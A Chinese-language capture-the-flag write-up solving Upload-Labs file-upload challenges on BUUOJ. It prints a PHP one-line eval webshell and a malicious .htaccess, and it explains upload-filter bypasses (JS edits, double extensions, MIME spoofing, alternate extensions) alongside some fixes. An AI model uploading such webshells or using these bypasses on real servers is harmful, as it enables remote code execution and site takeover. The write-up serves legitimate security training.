Check Upload-Labs-Linux on BUUOJ.
后记:不建议做,靶场环境应该用 Windows 的。
Pass-01
确定网站使用 PHP 后,生成 PHP 一句话木马,这里用中国蚁剑来通信。
<?php @eval($_POST[12])?>
生成了密码为 12 的一句话木马。下面就是把木马上传了。
提示说浏览器会检查上传文件类型,那么我们有下面几种办法:
1. 客户端对 JS 下手脚
具体方法很多,比如浏览器插件屏蔽等。
这里我们选择直接修改 JS 。

打开浏览器开发者工具,定位到 JS 位置。

直接修改并上传木马即可,复制上传后的文件链接到中国蚁剑中成功渗透,在 /flag 得到 Flag 。
2. Apache 文件解析漏洞绕过验证
或者我们可以尝试不用绕过本地客户端验证,直接上传木马。
将木马文件名称改为 vul.php.jpg 后成功上传,复制上传后的文件链接到中国蚁剑中成功渗透。
原理解析

网站使用 Apache 作为中间件,在红框部分设置了对 .php 文件的处理策略。
但是 AddHandler 的匹配是任意位置的,也就是说只要在文件名中包含 .php 就会被解析为 PHP 文件去执行。
修复方法
使用 SetHandler + 正则 来设置处理策略。
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
Pass-02
本 Pass 会在服务端检查数据包 MIME 。Pass-01 的第二种方法仍然可以正常使用。
使用 Burp Suite 修改 MIME-TYPE
鉴于大部分 MIME-TYPE 为浏览器(即客户端)所提供的,因此可以通过修改浏览器的请求来实现上传。
这里使用 Burp Suite 来修改,首先打开 Intercept ,然后上传 PHP 木马文件。

Content-Type 即为浏览器为该文件设定的 MIME-TYPE,改为 image/jpeg 即可上传木马。
原理解析
PHP 中 $_FILES[...]['type'] 可以由客户端任意指定。
修复方法
不要使用 $_FILES[...]['type'] 的 MIME-TYPE 来判断文件类型。
Pass-03
限制了 .php 等扩展名的上传,并且上传后会更改文件名。
更改扩展名
PHP 文件不仅只有 .php 一种格式,.php3 .php4 .php5 .php7 等扩展名均能作为 PHP 文件解析。
将木马改名为 vul.php3 后正常上传并渗透。
Pass-04
Pass-03 加强版,但是移除了更改文件名的限制。Pass-01 的第二种方法仍然可以正常使用。
.htaccess 文件绕过
.htaccess 文件是 Apache 服务中的一个配置文件,它负责相关目录下的网页配置。通过 .htaccess 文件,可以帮助我们实现:网页 301 重定向、自定义 404 错误页面,改变文件扩展名、允许/阻止特定的用户或者目录的访问,禁止目录列表,配置默认文档等功能。
既然该 Pass 没有限制对 .htaccess 文件的上传,我们可以先将木马改为 .jpg 格式上传后,上传 .htaccess 文件更改访问策略从而进行渗透。
上传完木马后我们编写 .htaccess 文件并上传:
<FilesMatch "vul.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
P.S. 或者使用通配符对所有 .jpg 文件生效。
蚁剑中地址改为 .../vul.jpg 后成功渗透。
Pass-05
本 Pass 在 Pass-04 的基础上增加了对 .htaccess 的限制。
本来应该是用 .user.ini 渗透的,但是不知道为什么 BUUOJ 的 Upload-Labs 在 upload 目录下没有 readme.php,因此作罢。
将后缀名改为大写 .PHP 后上传成功。
不知道有什么更优雅的方法?
Pass-06
本 Pass 在 Pass-05 的基础上增加了大小写验证。
如果是 Windows 环境下的靶机,可以用 .php (拓展名后加空格)绕过。
Linux 环境下的靶机好像没有什么办法?
Pass-07
Pass-01 第二种方法可过。其他方法 Linux 环境下难以实现。
Pass-08
Pass-01 第二种方法可过。
Windows 环境下使用 ::$DATA 截断也可过。
Pass-09
Pass-01 第二种方法可过。
Pass-10
后端会将 .php 全部替换为空字符串,但是该替换只进行一次。
所以我们可以构造一个后缀名 .pphphp (注意:只会替换中间的”php”)上传后即可得到 .php 进行渗透。
